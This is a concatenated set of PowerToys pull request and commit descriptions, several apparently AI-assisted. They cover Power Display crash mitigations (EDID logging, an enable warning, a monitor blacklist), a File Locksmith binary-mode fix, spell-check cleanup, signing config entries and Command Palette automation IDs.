https://github.com/microsoft/PowerToys/issues/47997#issuecomment-4524045763.
## PR Checklist
- [ ] Closes: #47997
## Detailed Description of the Pull Request / Additional comments
I found this really useful and couldn't see a reference to it anywhere
else in the devdocs. Not sure if this is the best way to describe the
process, but I think adding this information somewhere in the debugging
doc would really help newcomers to CmdPal development!
## Summary of the Pull Request
Two crash-correlation aids for the kernel-side DDC/CI BSOD mitigated by
#47734:
1. Log EDID hardware ID (manufacturer + product code, e.g. `DELD1A8`)
during Phase 0 monitor classification, before any DDC/CI capability
fetch enters the BSOD risk window.
2. Show a confirmation dialog before turning the Power Display module on
from the Settings page, so the user understands the BSOD risk before the
first capability fetch runs.
## PR Checklist
- [ ] Closes: #xxx
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
### 1. Phase 0 EdidId logging
`MonitorIdentity.EdidIdFromDevicePath` parses the EDID hardware ID
segment from a DevicePath of the form
``\?\DISPLAY#DELD1A8#5&abc&0&UID12345#{guid}`` and returns ``DELD1A8``.
The 3-letter PNP manufacturer code + 4-hex product code is identical for
every physical unit of the same model, so it identifies the *model*
without leaking per-unit identifiers.
`MonitorManager` logs the EdidId on the existing Phase 0 classification
line. Phase 0 uses `QueryDisplayConfig`, which reads OS-cached EDID and
cannot BSOD, so this line is guaranteed on disk before the crash-prone
Phase 2 capability fetch starts. If a machine crashes during
enumeration, the recovered log identifies every attached model
(including same-model duplicates), which makes it possible to correlate
crash reports to specific monitor models even when the user can't tell
us which monitor caused the crash.
### 2. Enable-module confirmation dialog
`PowerDisplayViewModel.IsEnabled` setter is refactored to follow the
same two-phase pattern already used by `MaxCompatibilityMode`:
- `false → true` does not commit immediately; it kicks off
`ConfirmAndEnableModuleAsync`, which awaits the existing
`DangerousFeatureWarningDialog` (resource prefix
`PowerDisplay_EnableModule`) and either commits or reverts the
ToggleSwitch via `OnPropertyChanged`.
- `true → false` commits unconditionally — we never block a user who
wants to turn the module off.
- App-startup loads via `InitializeEnabledValue()` /
`RefreshEnabledState()` assign the `_isEnabled` field directly,
bypassing the setter, so the dialog never fires on settings restore or
GPO refresh.
- GPO-configured state still short-circuits before any dialog logic.
The dialog reuses the existing `DangerousFeatureWarningDialog` injected
by `PowerDisplayPage.xaml.cs`. The 5 new `PowerDisplay_EnableModule_*`
strings explain that the BSOD is in Windows (not Power Display), that
Power Display will auto-disable itself after a detected crash, and that
the user has to re-enable + dismiss the warning each time.
## Validation Steps Performed
- Built `src/settings-ui` and `src/modules/powerdisplay` locally.
- Unit tests: added `EdidIdFromDevicePath_*` cases to
`MonitorIdentityTests`, all green.
- Settings UI manual: toggling Power Display ON now shows the warning
dialog. Pressing Cancel reverts the ToggleSwitch visually; pressing
Enable commits and the module starts. Toggling OFF does not prompt.
Restarting Settings UI with PowerDisplay enabled does not prompt.
GPO-disabled state still locks the toggle.
- Log inspection: `MonitorManager` Phase 0 log now shows `EdidId=...`
for each path before any capability fetch.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
---------
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
## Summary of the Pull Request
Two crash-correlation aids for the kernel-side DDC/CI BSOD mitigated by
#47734:
1. Log EDID hardware ID (manufacturer + product code, e.g. `DELD1A8`)
during Phase 0 monitor classification, before any DDC/CI capability
fetch enters the BSOD risk window.
2. Show a confirmation dialog before turning the Power Display module on
from the Settings page, so the user understands the BSOD risk before the
first capability fetch runs.
## PR Checklist
- [ ] Closes: #xxx
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
### 1. Phase 0 EdidId logging
`MonitorIdentity.EdidIdFromDevicePath` parses the EDID hardware ID
segment from a DevicePath of the form
``\?\DISPLAY#DELD1A8#5&abc&0&UID12345#{guid}`` and returns ``DELD1A8``.
The 3-letter PNP manufacturer code + 4-hex product code is identical for
every physical unit of the same model, so it identifies the *model*
without leaking per-unit identifiers.
`MonitorManager` logs the EdidId on the existing Phase 0 classification
line. Phase 0 uses `QueryDisplayConfig`, which reads OS-cached EDID and
cannot BSOD, so this line is guaranteed on disk before the crash-prone
Phase 2 capability fetch starts. If a machine crashes during
enumeration, the recovered log identifies every attached model
(including same-model duplicates), which makes it possible to correlate
crash reports to specific monitor models even when the user can't tell
us which monitor caused the crash.
### 2. Enable-module confirmation dialog
`PowerDisplayViewModel.IsEnabled` setter is refactored to follow the
same two-phase pattern already used by `MaxCompatibilityMode`:
- `false → true` does not commit immediately; it kicks off
`ConfirmAndEnableModuleAsync`, which awaits the existing
`DangerousFeatureWarningDialog` (resource prefix
`PowerDisplay_EnableModule`) and either commits or reverts the
ToggleSwitch via `OnPropertyChanged`.
- `true → false` commits unconditionally — we never block a user who
wants to turn the module off.
- App-startup loads via `InitializeEnabledValue()` /
`RefreshEnabledState()` assign the `_isEnabled` field directly,
bypassing the setter, so the dialog never fires on settings restore or
GPO refresh.
- GPO-configured state still short-circuits before any dialog logic.
The dialog reuses the existing `DangerousFeatureWarningDialog` injected
by `PowerDisplayPage.xaml.cs`. The 5 new `PowerDisplay_EnableModule_*`
strings explain that the BSOD is in Windows (not Power Display), that
Power Display will auto-disable itself after a detected crash, and that
the user has to re-enable + dismiss the warning each time.
## Validation Steps Performed
- Built `src/settings-ui` and `src/modules/powerdisplay` locally.
- Unit tests: added `EdidIdFromDevicePath_*` cases to
`MonitorIdentityTests`, all green.
- Settings UI manual: toggling Power Display ON now shows the warning
dialog. Pressing Cancel reverts the ToggleSwitch visually; pressing
Enable commits and the module starts. Toggling OFF does not prompt.
Restarting Settings UI with PowerDisplay enabled does not prompt.
GPO-disabled state still locks the toggle.
- Log inspection: `MonitorManager` Phase 0 log now shows `EdidId=...`
for each path before any capability fetch.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
---------
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
## Summary of the Pull Request
The File Locksmith IPC layer reads and writes raw UTF-16 (WCHAR) bytes
to `last-run.log`, but all three stream opens were using the default
text mode. On Windows, the CRT translates `0x0A` bytes to `0x0D 0x0A` on
write and collapses `0x0D 0x0A` back to `0x0A` on read. Because each
WCHAR is 2 bytes, any code unit whose little-endian byte pair contains
`0x0A` in the low position (e.g. `U+010A`, `U+0A0D`) is silently
corrupted. The fix opens all three streams in binary mode and adds an
explicit open-failure guard.
```cpp
// IPC.cpp — Writer::start()
// Before
m_stream = std::ofstream(path);
// After
m_stream = std::ofstream(path, std::ios::binary);
// + is_open() guard returning E_FAIL on failure
// NativeMethods.cpp — StartAsElevated() writer
// Before
std::ofstream stream(paths_file());
// After
std::ofstream stream(paths_file(), std::ios::binary);
// NativeMethods.cpp — ReadPathsFromFile() reader
// Before
std::ifstream stream(paths_file());
// After
std::ifstream stream(paths_file(), std::ios::binary);
```
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
Three targeted changes across two files:
1. **`FileLocksmithLib/IPC.cpp` — `Writer::start()`**: switched
`std::ofstream` from text to binary mode and added an `is_open()` check
that returns `E_FAIL` immediately when the file cannot be opened
(previously the try/catch did not catch a silent open failure because
`std::ofstream` does not throw by default).
2. **`FileLocksmithLibInterop/NativeMethods.cpp` —
`StartAsElevated()`**: switched `std::ofstream` from text to binary
mode. This is the elevated-restart writer path; without this fix,
Unicode corruption persisted when File Locksmith relaunched as
administrator.
3. **`FileLocksmithLibInterop/NativeMethods.cpp` —
`ReadPathsFromFile()`**: switched `std::ifstream` from text to binary
mode. This is the symmetric reader-side bug — even with both writers
corrected, the CRT text-mode reader could collapse a `0x0D 0x0A` byte
pair (a valid UTF-16 LE code unit, e.g. U+0A0D GURMUKHI EK ONKAR) into a
single byte, desynchronising the 2-bytes-at-a-time read loop and
corrupting all subsequent path data.
No behaviour change for purely ASCII paths. Paths containing Unicode
code points whose little-endian UTF-16 byte pair spans `0x0D 0x0A` were
silently corrupted in all three code paths before this fix.
## Validation Steps Performed
- Code review: no issues flagged.
- Full diff reviewed: all three stream opens (`ofstream` writer in
`IPC.cpp`, `ofstream` writer in `NativeMethods.cpp`, `ifstream` reader
in `NativeMethods.cpp`) now use `std::ios::binary`, making write and
read paths byte-exact and symmetric.
- Mechanically correct: `std::ios::binary` suppresses Windows CRT
`\n`↔`\r\n` translation; the delimiter `L'\n'` (LE bytes `0x0A 0x00`) is
unambiguous in binary mode and is handled correctly by the existing read
loop.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: MuyuanMS <116717757+MuyuanMS@users.noreply.github.com>
Co-authored-by: Muyuan Li (from Dev Box) <muyuanli@microsoft.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Problem
Since #47119 (`Refresh check-spelling 0.0.26`, merged 2026-04-23)
refreshed the check-spelling tooling and rewrote
`.github/actions/spell-check/expect.txt` (938 lines / 633 deletions),
the check-spelling bot has been leaving a noisy advisory comment on
**every PR**:
> #### These words are not needed and should be removed
> ABlocked AClient AColumn ACR ADate ADifferent AHybrid ALarger
AModifier ANull AOklab APeriod ARandom ARemapped ASingle ASUS bck …
The same ~150-word list is appended verbatim to every PR the bot looks
at (verified against #48058, #48102, #48104 — the list is identical).
These tokens are residual orphans in `expect.txt` from before the 0.0.26
refresh and no longer match anything in source.
## Fix
Removes exactly the 147 orphan tokens that the bot has consistently
flagged as `now absent` from `.github/actions/spell-check/expect.txt`.
The removed tokens are exclusively the ones the bot itself identified.
All uppercase Win32 / DirectWrite identifiers that are still used in
source (`DWRITE`, `LWIN`, `VCENTER`, `VREDRAW`, etc.) are **preserved**.
## Verification
- Diff is a single file, deletions only: `expect.txt` shrinks from 2343
→ 2196 lines.
- Each of the 4 uppercase Win32 tokens (`DWRITE` line 514, `LWIN` 1074,
`VCENTER` 2105, `VREDRAW` 2144 in the original) remains in the file.
- The check-spelling job on this PR should now post a clean report (no
`should be removed` block).
## Background — which PR introduced the drift
| PR | Date | What it changed |
|----|------|-----------------|
| **#47119** | 2026-04-23 | Refreshed check-spelling to 0.0.26; rewrote
`expect.txt` with 938 line-changes (633 deletions, 305 additions). The
duplicated lowercase/uppercase entries and many obsolete tokens
originate here. |
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Copilot <Copilot@users.noreply.github.com>
## Summary
Fixes#46767
Items pinned to the End section of the dock did not animate on startup,
while Start and Center items did. The EndListView had an explicit empty
`ItemContainerTransitions` collection that suppressed all container
transitions. Removing it allows the default WinUI entrance animations to
play, matching Start and Center behavior.
## Changes
- `DockControl.xaml`: Remove empty `TransitionCollection` override from
EndListView
---------
Co-authored-by: root <root@io.bbq>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
Fixes the **stable** signed release pipeline failure (Dart build
[`147621162`](https://microsoft.visualstudio.com/Dart/_build/results?buildId=147621162))
at the *"Verify all binaries are signed and versioned"* task:
```
Not Signed: + …\extractedMachineMsi\File\BaseApplicationsFiles_File_PowerAccent.Common.dll
```
## Root cause
PR #47211 (*"[Quick Accent] Move language data to PowerAccent.Common
library, refactor"*) introduced the new managed library:
- `src/modules/poweraccent/PowerAccent.Common/PowerAccent.Common.csproj`
`PowerAccent.Common.dll` is referenced by both `PowerAccent.Core` (ships
in the installer root) and `PowerToys.Settings` (ships in WinUI3Apps;
deduplicated against root by `generateAllFileComponents.ps1`). The DLL
is harvested into the MSI's `BaseApplicationsFiles` component group, but
the PR did not update `.pipelines/ESRPSigning_core.json`, so ESRP never
signs it and `versionAndSignCheck.ps1` correctly fails the build.
This is the same kind of omission that PR #48050 fixed for
`YamlDotNet.dll` introduced by #40834 — a new managed library shipping
in the MSI without a matching signing config entry.
## Fix
One additive line in `.pipelines/ESRPSigning_core.json`, placing
`"PowerAccent.Common.dll"` inside the existing alphabetized PowerAccent
block (next to `PowerAccent.Core.dll`).
```diff
"PowerAccent.Core.dll",
+ "PowerAccent.Common.dll",
"PowerToys.PowerAccent.dll",
```
## Validation
- `git diff` shows exactly one additive line.
- File still parses as valid JSON (`ConvertFrom-Json` round-trip OK).
- Audited the full file list of PR #47211: `PowerAccent.Common.dll` is
the only new shippable assembly it added (the other new project,
`PowerAccent.Common.UnitTests`, is a test project and is not included in
the installer).
- Dedup logic in
`installer/PowerToysSetupVNext/generateAllFileComponents.ps1` keeps only
the root copy when WinUI3Apps and root copies are byte-identical, so a
single root-level entry is sufficient.
## Follow-up
After merge to `main`, cherry-pick / merge into `stable` to unblock the
0.100 release pipeline. This is the third (and hopefully final) PR in
the 0.100 release-pipeline unblock sequence, after #48050 (sign
`YamlDotNet.dll`) and #48054 (remove duplicate
`QuickAccent_SelectedLanguage_Greek_Polytonic` resource).
Co-authored-by: Copilot <Copilot@users.noreply.github.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
* Fix wrong Shortcut for Shortcut Guide V2 (previously always showed
default)
* Fix outdated OOBE description
* Fix process not stopping when exiting via ESC or close button
* Fixed some missing modules
* Removed regex capability and was able to improve the start up time
through this
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Okay I'll admit this is a clanker fix.
There's currently a crash when you navigate to an individual extension
page, that only repro's in Release/AOT. And because of
release&trimming&AOT reasons, that's very very difficult to diagnose.
But the clanker added a shitload of logging, and was able to figure out
that:
We were binding to this `Screenshots` collection. Problem is that we
can't safely bind to an `IReadOnlyList` in trimmed scenarios. C#/AOT is
a wonderful world of horrors.
Fixing this is as simple as swapping it for a `ObservableCollection`.
When we were docked on a screen other than the primary display, then
clicking on a dock item that was a `IPage` would result in the palette
window just not showing up at all.
The fix is to make sure that we use the actual position of the current
monitor in the calculation of the final position of the palette HWND.
## Summary
Adds **77 explicit `AutomationProperties.AutomationId`** declarations (4
→ 81, ~20x) to Command Palette XAML so UI-testing tools (WinAppDriver,
FlaUI, winappCli, Appium) can address controls deterministically instead
of falling back to runtime slugs that change every session. Also covers
the `DataTemplate`-generated long tail (search results, file results,
every extension item, every monitor in Dock settings) by binding
`AutomationId` to existing stable model identifiers via `{x:Bind}`.
Headline: a one-line addition to the four CmdPal `ListItem`
`DataTemplate`s now exposes each instance's underlying `Command.Id`
(e.g. `com.microsoft.cmdpal.builtin.calculator`) as its `AutomationId`.
This is the same pattern as web's `<li data-testid={item.id}>`.
## Why
CmdPal today ships with only **4** explicit
`AutomationProperties.AutomationId` declarations across **44** XAML
files (~303 interactive controls). UI tests are forced to fall back to:
- runtime-generated slugs like `itm-12-9dda` that change every CmdPal
restart, or
- regex-parsing the text output of `winappCli ui inspect`, or
- walking the UIA tree client-side and matching by `Name` (localized,
ambiguous when several controls share a label).
## What changed
### Source changes
- **`Microsoft.CmdPal.UI/ExtViews/ListItemsView.xaml`** — bind
`AutomationProperties.AutomationId="{x:Bind Command.Id, Mode=OneWay}"`
on the root of all 4 `ListItem` `DataTemplate`s (single-row, small-grid,
medium-grid, gallery). Covers **every** runtime list item across all
built-in and third-party providers.
- **`Microsoft.CmdPal.UI/Settings/GeneralPage.xaml`** — 14 IDs on
activation hotkey controls, auto-go-home combo, behaviour toggles,
about-section hyperlinks.
- **`Microsoft.CmdPal.UI/Settings/AppearancePage.xaml`** — 19 IDs on
theme/backdrop/colorization, background image controls, 5 sliders,
behaviour toggles.
- **`Microsoft.CmdPal.UI/Settings/DockSettingsPage.xaml`** — 14 IDs on
enable toggle, theme/colorization/backdrop, background image controls,
plus per-monitor data-bound ID using `DisplayName`.
- **`Microsoft.CmdPal.UI/Settings/ExtensionsPage.xaml`** — 4 IDs on
banner/store hyperlinks plus the per-provider `SettingsCard` (data-bound
to the provider's `Id`, e.g. `com.microsoft.cmdpal.builtin.calculator`).
- **`Microsoft.CmdPal.UI/Settings/ExtensionPage.xaml`** — 5 IDs on
provider enable toggle, alias text/activation, fallback rank link.
- **`Microsoft.CmdPal.UI/Settings/ExtensionGalleryItemPage.xaml`** — 5
IDs on install/cancel/copy-command buttons and author/repo/uninstall
links.
- **`Microsoft.CmdPal.UI/Settings/InternalPage.xaml`** — 7 IDs on the
dev-only "Throw exception" and folder/log-opening buttons.
- **`Microsoft.CmdPal.UI/Pages/ShellPage.xaml`** — 1 data-bound ID on
the `CommandTemplate` button (binds to `CommandViewModel.Id`).
- **`Microsoft.CmdPal.UI.ViewModels/ProviderSettingsViewModel.cs`** —
single-line addition exposing the underlying `CommandProviderWrapper.Id`
so the ExtensionsPage template can bind to it.
### Naming convention applied
`CmdPal_<Page>_<Semantic>` PascalCase, with the existing well-known IDs
left untouched to avoid breaking the `modules/cmdpal/*` checklist tests
already referencing them. `Id` / `TestId` suffixes deliberately omitted
(the attribute is already `AutomationId`); control-type suffixes
(`Toggle` / `Button` / `ComboBox`) omitted because the type lives on the
UIA `type` field already.
### Files NOT touched (deferred)
About 5–7 secondary files (`SettingsWindow.xaml`,
`ExtensionGalleryPage.xaml`, `DockControl.xaml`, `DevRibbon.xaml`, deep
style/viewer XAML) — their interactive controls already carry `x:Name`,
which WinUI auto-promotes to `AutomationId` at runtime, so practical
testability is mostly already there. Can be tightened up in a follow-up
PR.
## Risk
- ✅ Zero runtime cost (`AutomationProperties.AutomationId` is metadata
only)
- ✅ Does not affect localization (`AutomationId` is non-localized by
design)
- ✅ Does not affect user-facing accessibility (screen readers consume
`Name` / `AutomationProperties.Name`, untouched)
- ✅ Does not rename any existing ID; `modules/cmdpal/*` tests
referencing `MainSearchBox` / `PrimaryCommandButton` / `ItemsList` /
etc. remain valid
- ✅ All 51 CmdPal XAML files parse as valid XML (PowerShell `[xml]`
round-trip)
- ✅ All `x:Bind` paths verified against the relevant ViewModel types
(`CommandViewModel.Id`, `DockMonitorConfigViewModel.DisplayName`,
`ProviderSettingsViewModel.Id`)
## Validation requested before merge
XAML compilation was attempted locally but blocked by a missing native
NuGet package (`Microsoft.Windows.ImplementationLibrary`) — needs
`tools\build\build-essentials.cmd` to fully restore first. **Reviewer
please run a clean local build of `Microsoft.CmdPal.UI` (or rely on CI)
to confirm the XAML compiler is happy.**
Once built, a quick smoke check:
```powershell
# After CmdPal restart with the new bits installed:
winapp ui search 'CmdPal_' -w <hwnd> --json # should list all the new IDs
winapp ui invoke 'CmdPal_AppearancePage_OpenCommandPalette' -w <hwnd>
winapp ui invoke 'com.microsoft.cmdpal.builtin.calculator' -w <hwnd> # ListItem template binding
```
## Why this matters beyond our tools
This is the same pattern Microsoft's accessibility and WinUI teams
already recommend for any XAML app intended to be automated. It's the
WinUI equivalent of adding `data-testid` in a web app — universally
accepted as low-risk, high-leverage. WinAppDriver, FlaUI, Appium and any
future automation framework all benefit from the same change.
## Summary
Fixes the **stable** signed release pipeline failure (Dart build
[`147590319`](https://microsoft.visualstudio.com/Dart/_build/results?buildId=147590319))
at the *"Verify all binaries are signed and versioned"* task on both
`Build Release_x64` and `Build Release_arm64`:
```
Not Signed: + …\extractedMachineMsi\File\WinUI3ApplicationsFiles_File_YamlDotNet.dll
```
## Root cause
PR #40834 (*Shortcut Guide V2*) added a `YamlDotNet` `PackageReference`
to:
- `src/modules/ShortcutGuide/ShortcutGuide.Ui/ShortcutGuide.Ui.csproj`
-
`src/modules/ShortcutGuide/ShortcutGuide.IndexYmlGenerator/ShortcutGuide.IndexYmlGenerator.csproj`
Both projects publish into `WinUI3Apps\`, so `YamlDotNet.dll` is
harvested into the MSI by
`installer/PowerToysSetupVNext/generateAllFileComponents.ps1`. The PR
updated `ESRPSigning_core.json` for its own new binaries but missed this
3rd-party transitive dependency, so ESRP never signs it and
`.pipelines/versionAndSignCheck.ps1` correctly fails the build.
## Fix
One additive line to `.pipelines/ESRPSigning_core.json`, placing
`WinUI3Apps\YamlDotNet.dll` next to the other 3rd-party `WinUI3Apps\`
entries (`Google.Apis.*`, `Google.GenAI.dll`, `ReverseMarkdown.dll`,
`SharpCompress.dll`, …).
## Validation
- `git diff` shows exactly one additive line.
- File still parses as valid JSON (`ConvertFrom-Json` round-trip OK).
- Both ShortcutGuide csprojs target
`$(Platform)\$(Configuration)\WinUI3Apps`, so a single
`WinUI3Apps\YamlDotNet.dll` entry covers all uses.
## Follow-up
After merge to `main`, cherry-pick / merge into `stable` so build
`147590319` can be re-queued and the 0.100 release pipeline can proceed.
Co-authored-by: Copilot <Copilot@users.noreply.github.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Adds a built-in monitor blacklist that skips known-bad monitor models at
the DDC/CI discovery stage — before PowerDisplay sends any capabilities
request to the firmware. Matches by EdidId (the PnP manufacturer +
product code from EDID). Two entries pre-populated from existing crash
reports:
| EdidId | Reported in | Notes |
|-----------|-------------|------------------------------------------------------------------------|
| `LTM2C02` | #47556 | Counterfeit-EDID LG 27MR400 (PnP claims Litemax
40" 2011, actual hw is LG 27" 2024) |
| `GSM7714` | #47968 | LG UltraWide HDR WFHD |
Also logs `[EdidId=…] [FriendlyName=…] [DevicePath=…]` immediately
before each `GetCapabilitiesString*` syscall in `DdcCiController`. If
the kernel call BSODs (`win32kfull` stack-cookie overrun), that is the
last log line that survives — adding a new blacklist entry then takes
one PR to `BuiltInMonitorBlacklist.json` instead of a memory-dump
triage.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Mitigates: #47556
- [x] Mitigates: #47968
- [x] **Communication:** This is the "Add blacklist and prevent the API
call on broken monitor" mitigation outlined in [#47556
(comment)](https://github.com/microsoft/PowerToys/issues/47556#issuecomment-4505498427).
The underlying `win32kfull!DdcciGetCapabilitiesStringFromMonitor` stack
overrun is tracked separately by the Windows team.
- [x] **Tests:** 6 new MSTest unit tests under
`PowerDisplay.Lib.UnitTests`. All 120 PowerDisplay tests pass on x64
Debug.
- [ ] **Localization:** N/A — this PR ships no end-user-facing strings
(no UI surface).
- [ ] **Dev docs:** N/A.
- [ ] **New binaries:** N/A. Data ships as an `<EmbeddedResource>`
inside the existing `PowerDisplay.Models.dll`; no new .dll, no installer
change.
- [ ] **Documentation updated:** N/A.
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
### Threat model
Some retail monitor firmwares ship non-conformant DDC/CI capabilities
strings — typically oversized, not NUL-terminated, or otherwise
malformed. When PowerDisplay calls `GetCapabilitiesStringLength` /
`CapabilitiesRequestAndCapabilitiesReply` on these monitors, the request
flows into
`win32kfull!CPhysicalMonitorHandle::DdcciGetCapabilitiesStringFromMonitor`,
which copies the reply into a stack buffer without bounding the length.
The kernel detects its own stack cookie corruption on the epilogue check
and `__fastfail`s with `BUGCHECK 0x139 / 2
(STACK_COOKIE_CHECK_FAILURE)`.
The kernel-side overrun is a Windows defect, not PowerDisplay's, but
PowerDisplay is currently the most widely deployed consumer of this API
on hot-plug. Until the Windows team fixes the kernel, the only safe
mitigation in user space is to **never call** the capabilities API on
monitor models known to trigger it.
### Architecture
| File | Role |
|---|---|
| `PowerDisplay.Models/MonitorBlacklistEntry.cs` | POCO: `{ edidId,
comments }` |
| `PowerDisplay.Models/BuiltInMonitorBlacklist.json` | Data file
(embedded resource) |
| `PowerDisplay.Models/BuiltInMonitorBlacklist.cs` | Lazy-loaded reader,
AOT-safe (source-gen `JsonSerializerContext`); silent fallback to empty
list on any IO/parse failure |
| `PowerDisplay.Lib/Services/MonitorBlacklistService.cs` |
`IsBlocked(monitorId)` — extracts EdidId via
`MonitorIdentity.EdidIdFromMonitorId`, checks a `HashSet<string>` with
`OrdinalIgnoreCase` |
| `PowerDisplay/Helpers/MonitorManager.cs` | Filters QueryDisplayConfig
inventory by EdidId **before** any controller (DDC/CI or WMI) is
dispatched; logs each skip with `[MonitorBlacklist] Skipping ...` |
| `PowerDisplay.Lib/Drivers/DDC/DdcCiController.cs` | Logs EdidId +
FriendlyName + DevicePath immediately before the first capabilities
syscall per-monitor |
Matching is **model-level granularity** (EdidId, e.g. `GSM7714`) rather
than device-level (full DevicePath). One entry covers every physical
port and every machine with the same monitor model.
### Adding new entries
Once the kernel overrun is fixed this list can shrink. Until then, when
a new BSOD surfaces:
1. User reports BSOD, attaches PowerDisplay log
2. The last line before the crash now reads `DDC: probing capabilities
[EdidId=XXXXXX] [FriendlyName='...'] [DevicePath=...]`
3. Add `{ "edidId": "XXXXXX", "comments": "See #issue" }` to
`BuiltInMonitorBlacklist.json`
4. Submit PR, ship in next release
### Scoped out (deliberate)
A user-customized blacklist surface (Settings UI dialog) was prototyped
and hit multiple WinUI 3 dialog parse / measure crashes inside a
`ContentDialog`. The custom-list code path was reverted in favor of
"built-in only" for v1 reliability. UI can be re-added later on top of
this foundation if needed — the data model and service already support
it.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
1. **Unit tests:** `dotnet test` on `PowerDisplay.Lib.UnitTests` →
**120/120 pass** (including 6 new tests for loader + service: built-in
JSON loads, EdidIds are normalized to upper-case, no blank entries,
`Lazy<>` cache returns same instance, `IsBlocked` returns `false` for
empty built-in list and for unidentifiable monitor IDs).
2. **Clean x64 Debug build** via `tools\build\build-essentials.cmd` +
per-project `tools\build\build.cmd`:
- `PowerDisplay.Models` — 0 warning, 0 error
- `PowerDisplay.Lib` — 0 warning, 0 error
- `PowerDisplay` (app) — 0 warning, 0 error
3. **Smoke test (manual):** launched PowerDisplay, confirmed every
connected monitor produces a `DDC: probing capabilities [EdidId=…]
